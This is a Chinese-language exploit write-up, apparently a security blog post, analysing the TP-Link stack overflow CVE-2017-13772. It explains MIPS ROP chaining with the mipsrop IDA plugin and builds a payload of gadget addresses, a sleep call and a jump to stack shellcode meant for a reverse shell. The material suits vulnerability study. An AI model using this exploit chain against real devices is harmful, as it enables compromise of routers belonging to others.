CVE-2017-13772分析及mips栈溢出利用总结

爱中华UpTTT 看雪学院 2019-05-25

1. 前言

本文将分析CVE-2017-13772，并总结mips栈溢出利用的一般思路。

阅读之前需要先了解mips汇编相关知识。

2. CVE-2017-13772漏洞成因

CVE-2017-13772是tp-link的栈溢出漏洞，如果ping功能处输入过长的ip地址会触发漏洞。一般而言，ping功能处我们一般是尝试命令注入，tp-link厂商在字符串过滤方面做得不错，一些特殊字符输入无效，所以这里只能挖掘溢出型漏洞。

IDA搜索定位字符串：

loc_453CE8:
la      $t9, httpGetEnv
addiu   $a1, (aPingAddr - 0x570000)  # "ping_addr"
jalr    $t9 ; httpGetEnv #http服务器通过httpGetEnv（ping_addr）获取ping_addr字段的值
move    $a0, $s5
lw      $gp, 0x70+var_58($sp)
la      $a1, aDotype     # "doType"
la      $t9, httpGetEnv
move    $a0, $s5
jalr    $t9 ; httpGetEnv
move    $s6, $v0       #httpGetEnv（ping_addr）返回值在v0，在上面一句执行之前，会保存在s6
lw      $gp, 0x70+var_58($sp)
la      $a1, aIsnew      # "isNew"
la      $t9, httpGetEnv
move    $a0, $s5
jalr    $t9 ; httpGetEnv
move    $s3, $v0
lw      $gp, 0x70+var_58($sp)
beqz    $s6, loc_454640
move    $s0, $v0

接着跟踪s6寄存器,单击一直往下看，直到这里才发现对s6的调用 ipAddrDispose（$s6）

la      $t9, httpGetEnv
la      $a1, aTrhops     # "trHops"
jalr    $t9 ; httpGetEnv
move    $a0, $s5
lw      $gp, 0x70+var_58($sp)
nop
la      $t9, atoi
nop
jalr    $t9 ; atoi
move    $a0, $v0
lw      $gp, 0x70+var_58($sp)
move    $a0, $s6
la      $t9, ipAddrDispose   #ipAddrDispose（$s6）
nop
jalr    $t9 ; ipAddrDispose
move    $s1, $v0
lw      $gp, 0x70+var_58($sp)
beqz    $v0, loc_454280
move    $v1, $v0

跟进ipAddrDispose

接下来分析ipAddrDispose

ipAddrDispose 中发生栈溢出的部分反汇编大致如下：

void ipAddrDispose(char * pingaddr):
 
{
    char pingaddr_tmp[0x33] = {0};
 
    int len = strlen(pingaddr);
    memset(pingaddr_tmp,0, 0x33);
    int i=0,j=0;
    for(; i<len;i++)
    {
        if(pingaddr[i]!=' ')
        {
            pingaddr_tmp[j]=pingaddr[i]   // 是这里发生栈溢出
            j++;
        }
    }
    strcpy(pingaddr, pingaddr_tmp);//这里只是拷贝回去除空格的字符串到pingaddr
    .........
}

从函数一开始分析可得栈的结构如下：

由栈的结构可知我们最后能够控制 s0 s1 ra,并且可以知道覆盖的偏移，pingaddr='A'(0xAC-0xC)+ s0+s1+ra,
pingaddr='A'0xA0+ s0+s1+ra,。

3. CVE-2017-13772漏洞利用

3.1 mips漏洞利用流程

mips漏洞利用首先需要sleep(nS)更新codecache，然后才能正确执行栈上的代码。

如果想运行反向shell，大致可以思考出这样的流程：

设置a0=1，跳转到sleep函数

获取栈的地址，跳转到栈上执行代码。

3.2 mips跳转

在mips中，跳转的方式有：

① 设置寄存器t9，跳转到寄存器t9。如：

move    $t9, $s0
jalr    $t9 ;

②在执行完函数func之前，把要跳转的地址address保存在ra寄存器，执行完函数func后可跳转。如：

move    $t9, $s0             ;函数f()
lw      $ra, ``0x20``+``var_4($sp)  ``#nextcall=address
lw      $s0, ``0x20``+``var_8($sp)
li      $a0, ``2
li      $a1, ``1
move    $a2, $zero
jr      $t9 ;                ;执行完f()之后，跳转到address
addiu   $sp, ``0x20

3.3 利用

在libuClibc-0.9.30.so中寻找部件

#0.第一步覆盖寄存器s0 s1 ra ，s0设置为sleepaddr的地址，ra设置为addr0（0x2AB2E97C）
#1.跳转到addr0（0x2AB2E97C）执行
move    $t9, $s0              #设置t9为sleepaddr
lw      $ra, ``0x20``+``var_4($sp)  #从栈中取数据，设置ra=addr1
lw      $s0, ``0x20``+``var_8($sp)  #从栈中取数据，设置s0=addr2
li      $a0, ``2 #设置sleep参数为2
li      $a1, ``1
move    $a2, $zero
jr      $t9 ; #跳转执行sleep(2s), 返回时跳转到addr1
addiu   $sp, ``0x20

#2. addr1
addiu   $s2, $sp, ``0x198``+``var_180   #s2指向栈上
move    $a2, $v1
move    $t9, $s0   #t9=s0
jalr    $t9 ;      #跳转到addr2

#3. addr2
move    $t9, $s2   #跳转到栈上执行
jalr    $t9 ;

evil_pingaddr =“A”*160 +sleep_func_addr+"AAAA"+addr0+
    “B”*0x18+addr2+addr1+nop*0x20+reverseshell_shellcode

手头没有设备验证，但是应该没有大问题。

3.4 如何寻找这些部件，思路是什么？

首先，我们自己需要明白：0. 数据来自栈；1. 我们第一步能控制那些寄存器；2. 最终目标为何；3. 每次构造的时候要能控制下一步跳转。

0. 数据来自栈，也就是之后的操作的数据来源是栈，就是跳转地址，参数一类的。

① 第一步能控制那些寄存器：前面通过对溢出函数汇编的分析，可以知道能够控制s0，s1，ra,。

② 最终目标为何？sleep（nS）-> reverseshell，关于sleep，请看文章http://xdxd.love/2016/12/09/%E4%B8%80%E4%B8%AAmips%E6%A0%88%E6%BA%A2%E5%87%BA%E5%88%A9%E7%94%A8/。

③ 每次构造的时候要能控制下一步跳转：前面提到了，设置t9或ra。

3.4.1 mipsrop工具基本操作

安装

下载mipsrop.py,放到C:\Program Files (x86)\IDA 6.8\plugins
https://github.com/devttys0/ida/tree/master/plugins/mipsrop

打开一个mips程序，打开插件：

mipsrop.help()

查看哪些命令可用

mipsrop.find(instruction_string)

可以找很多自定义的指令

Locates all potential ROP gadgets that contain the specified instruction.
 
@instruction_string - The instruction you need executed. This can be either a:
 
            o Full instruction    - "li $a0, 1"
            o Partial instruction - "li $a0"
            o Regex instruction   - "li $a0, .*"

mipsrop.system()

用于执行system()函数

mipsrop.doubles()

如下：如果你能控制多个寄存器s0 s1 s2 s3，需要多次call（没有用过，根据打印结果大致推出其作用），可以用这个。这里都是jal 或者 jalr，类似于 x86中的call（会保存下一条命令的地址到ra）（jr类似于jmp）。

LOAD:000402D0                 move    $t9, $s0
LOAD:000402D4                 jalr    $t9 ; strlen
LOAD:000402D8                 lw      $a0, 0x4C0+var_400($fp)
LOAD:000402DC                 lw      $a1, 0x4C0+var_400($fp)
LOAD:000402E0                 addiu   $a2, $v0, 1
LOAD:000402E4                 move    $t9, $s1
LOAD:000402E8                 jalr    $t9 ; write
LOAD:000402EC                 move    $a0, $s3
LOAD:000402F0                 move    $t9, $s0
LOAD:000402F4                 jalr    $t9 ; strlen

Prints a list of all "double jump" gadgets (useful for function calls).

mipsrop.stackfinders()

将栈的地址放置到寄存器中，之后可以跑到栈上运行。

Prints a list of all gadgets that put a stack address into a register.

mipsrop.tails()

尾部的指令，可以存储栈上的数据到ra 等寄存器，扩充可控的寄存器，用于后续的跳转与设置参数。

因为在mips函数结尾，其汇编都是这种：

loc_42224:
lw      $ra, 0x30+var_4($sp)
lw      $s4, 0x30+var_8($sp)
lw      $s3, 0x30+var_C($sp)
lw      $s2, 0x30+var_10($sp)
lw      $s1, 0x30+var_14($sp)
lw      $s0, 0x30+var_18($sp)
jr      $t9
addiu   $sp, 0x30

Prints a lits of all tail call gadgets (useful for function calls).

mipsrop.set_base()

比如你在libuClibc-0.9.30.so中找部件，就设置这个so在主程序中的加载基址，这样最后写利用就方便一些。关于如何找加载地址，可以硬件ttl连上去（有的没法到shell），可以改固件，可以用其他漏洞登陆进去，也可以用qemu system模式运行主程序（只要跑起来就够了）。命令是cat /proc/$pid/maps。

Set base address used for display

mipsrop.summary()

Prints a summary of your currently marked ROP gadgets, in alphabetical order by the marked name.
To mark a location as a ROP gadget, simply mark the position in IDA (Alt+M) with any name that starts with "ROP".

mipsrop小工具为mips漏洞给利用提供了特定的功能，只要之前学习了mips汇编和mips函数调用的基本流程，就很容易理解每个部件的功能

3.4.2 思路分析

我们在libuClibc-0.9.30.so找部件，其加载基址是0x2aae2000，执行命令Python>mipsrop.set_base(0x2aae2000)

我们能控制s0，s1，ra。

首先目标是执行sleep：1.设置参数 2.跳转到sleep执行 mipsrop.find("li $a0, 1")，当然也可以mipsrop.find("li $a0, .*")。如下图：

Python>mipsrop.find("li $a0, 1")

 
| Base + Offset = Address | Action | Control Jump |

 
| 0x2AAE2000 + 0x00029244 = 0x2AB0B244 | li $a0,1 | jalr $s4 |
| 0x2AAE2000 + 0x00055C60 = 0x2AB37C60 | li $a0,1 | jalr $s1 |
| 0x2AAE2000 + 0x000202D0 = 0x2AB022D0 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003C140 = 0x2AB1E140 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003C1F8 = 0x2AB1E1F8 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003CE70 = 0x2AB1EE70 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003CF94 = 0x2AB1EF94 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D034 = 0x2AB1F034 | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D57C = 0x2AB1F57C | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003D62C = 0x2AB1F62C | li $a0,1 | jr 0x28+var_4($sp) |
| 0x2AAE2000 + 0x0003F1A4 = 0x2AB211A4 | li $a0,1 | jr 0x58+var_4($sp) |

接下来考虑下一步跳转，由于我们可以控制s1，所以看

| 0x2AAE2000 + 0x00055C60 = 0x2AB37C60 | li $a0,1 | jalr $s1 |

Python>mipsrop.find("li $a0, 1")
-------------------------------------------------------------------------------------------------------------------------------------------
|  Base       + Offset     =  Address       |  Action                                              |  Control Jump                          |
-------------------------------------------------------------------------------------------------------------------------------------------
|  0x2AAE2000 + 0x00029244 = 0x2AB0B244     |  li $a0,1                                            |  jalr  $s4                             |
|  0x2AAE2000 + 0x00055C60 = 0x2AB37C60     |  li $a0,1                                            |  jalr  $s1                             |
|  0x2AAE2000 + 0x000202D0 = 0x2AB022D0     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003C140 = 0x2AB1E140     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003C1F8 = 0x2AB1E1F8     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003CE70 = 0x2AB1EE70     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003CF94 = 0x2AB1EF94     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003D034 = 0x2AB1F034     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003D57C = 0x2AB1F57C     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003D62C = 0x2AB1F62C     |  li $a0,1                                            |  jr    0x28+var_4($sp)                 |
|  0x2AAE2000 + 0x0003F1A4 = 0x2AB211A4     |  li $a0,1                                            |  jr    0x58+var_4($sp)                 |

IDA脚本区域点击offset 0x00055C60，IDA就可以跳转到指定区域。

LOAD:00055C60                 li      $a0, 1
LOAD:00055C64                 move    $t9, $s1
LOAD:00055C68                 jalr    $t9 ;

如果ra设置为0x00055C60+0x2AAE2000 ，s1一开始直接设置为sleep，就能执行sleep(1)了，当然，没有后续。

如果能够在执行sleep之前设置ra，就可以在执行完sleep跳转到地址ra，所以现在需要在第一步跳转之后设置ra，然后执行sleep(nS)。

从栈设置寄存器，使用mipsrop.tails()来查找。

作者选择是loc_35840，这一块有点绕，一开始把s1保存到t9，而s1当前指向的就是loc_35840，所以之后还会再跳转一次到loc_35840。在第一次跳转的过程中通过栈设置s1，进而使第二次跳到我们想要的位置。

loc_35840:
move    $t9, $s1
lw      $ra, 0x28+var_4($sp)
lw      $s1, 0x28+var_8($sp)
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9
addiu   $sp, 0x28
 # End of function sub_357E0

过程是：一开始$s1 =loc_35840，然后执行两次：

move    $t9, $s1                 
lw      $ra, 0x28+var_4($sp)
lw      $s1, 0x28+var_8($sp)    #设置s1=newaddr=sleep
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9
addiu   $sp, 0x28               #sp+=0x28
move    $t9, $s1                #t9=newaddr=sleep
lw      $ra, 0x28+var_4($sp)    #设置ra
lw      $s1, 0x28+var_8($sp)
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9                     #跳转到sleep，这里是jr，所以在执行完sleep之后会返回到ra
addiu   $sp, 0x28               #sleep之前sp+=0x28

从一开始溢出跳转到执行完sleep跳转的过程：（注意其中sp寄存器的变化）

#一开始的溢出
lw      $ra, 0xE0+var_4($sp)
lw      $s1, 0xE0+var_8($sp)
lw      $s0, 0xE0+var_C($sp)
jr      $ra
addiu   $sp, 0xE0
 
#第一次跳转
li      $a0, 1
move    $t9, $s1
jalr    $t9 ;
 
#执行sleep(a0),并跳转到新的地址
move    $t9, $s1                 
lw      $ra, 0x28+var_4($sp)
lw      $s1, 0x28+var_8($sp)    #设置s1=newaddr=sleep
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9
addiu   $sp, 0x28               #sp+=0x28
move    $t9, $s1                #t9=newaddr=sleep
lw      $ra, 0x28+var_4($sp)    #设置ra
lw      $s1, 0x28+var_8($sp)
lw      $s0, 0x28+var_C($sp)
addiu   $a0, 0xC
jr      $t9                     #跳转到sleep，这里是jr，所以在执行完sleep之后会返回到ra
addiu   $sp, 0x28               #sleep之前sp+=0x28

ping_addr=0xA0‘A’+setS0+setS1+SetRA+0x20'A'+sleepaddr+0x28*'A'+NextJUMP(RA)

最后sleep的参数也不是1了，整个利用存在改进的余地。

到此，就执行完sleep并准备跳转到新的地址NextJUMP(RA)了，此时可控的有ra s1 s0。

执行完sleep(nS)，并且可以控制接下来的跳转，当前这一步目标达成。

接下来目标是跳转到栈上执行。

可以想到，首先需要将栈上的地址存储到寄存器，然后跳转到寄存器执行shellcode，要用到mipsrop.stackfinders()。

文章作者选用的是0x000164C0 ，因为可以设置s2指向栈地址，s0可控，s0可控跳转也就可控

| 0x2AAE2000 + 0x000164C0 = 0x2AAF84C0 | addiu $s2,$sp,0x198+var_180 | jalr $s0

addiu   $s2, $sp, 0x198+var_180
move    $a2, $v1
move    $t9, $s0
jalr    $t9 ;

将s2指向了栈地址，所以接下来Python>mipsrop.find("move $t9,$s2")

-------------------------------------------------------------------------------------------------------------------------------------------

 
| Base + Offset = Address | Action | Control Jump |

 
-------------------------------------------------------------------------------------------------------------------------------------------

 
| 0x2AAE2000 + 0x000118A4 = 0x2AAF38A4 | move $t9,$s2 | jalr $s2 |

 
| 0x2AAE2000 + 0x00011E84 = 0x2AAF3E84 | move $t9,$s2 | jalr $s2 |

 
| 0x2AAE2000 + 0x0001E910 = 0x2AB00910 | move $t9,$s2 | jalr $s2 |

 
| 0x2AAE2000 + 0x0001E93C = 0x2AB0093C | move $t9,$s2 | jalr $s2 |

 
| 0x2AAE2000 + 0x0001E9B8 = 0x2AB009B8 | move $t9,$s2 | jalr $s2 |

 
| 0x2AAE2000 + 0x0001E9E0 = 0x2AB009E0 | move $t9,$s2 | jalr $s2 |

 
| 0x2AAE2000 + 0x0001EA08 = 0x2AB00A08 | move $t9,$s2 | jalr $s2 |

 
| 0x2AAE2000 + 0x0001EA30 = 0x2AB00A30 | move $t9,$s2 | jalr $s2 |

 
| 0x2AAE2000 + 0x0001EA58 = 0x2AB00A58 | move $t9,$s2 | jalr $s2 |。。。。

最后结果，其中sp的变化需要自己细细体会。

nop = “\x22\x51\x44\x44”
gadg_1 = “\x2A\xB3\x7C\x60”
gadg_2 = “\x2A\xB1\x78\x40”
sleep_addr = “\x2a\xb3\x50\x90”
stack_gadg = “\x2A\xAF\x84\xC0”
call_code = “\x2A\xB2\xDC\xF0″

def first_exploit(url, auth):

rop = “A”*164 + gadg_2  + gadg_1 + “B”*0x20 + sleep_addr
rop += “C”*0x20 + call_code + “D”*4 + stack_gadg + nop*0x20 + shellcode

相比于我的可能比较复杂，但是思路其实是清晰的符合逻辑的，我的是找到了一些好用的部件才显得比较简洁。

4. 总结

编写mips利用时，应该明白可控的有哪些，目标是什么，如何衔接每一步，结合mips架构自身的特点来构造整个利用，寻找部件可以多找找来个取巧，也可以缺什么补什么。行文匆促，如果错误还请指正。

- End -

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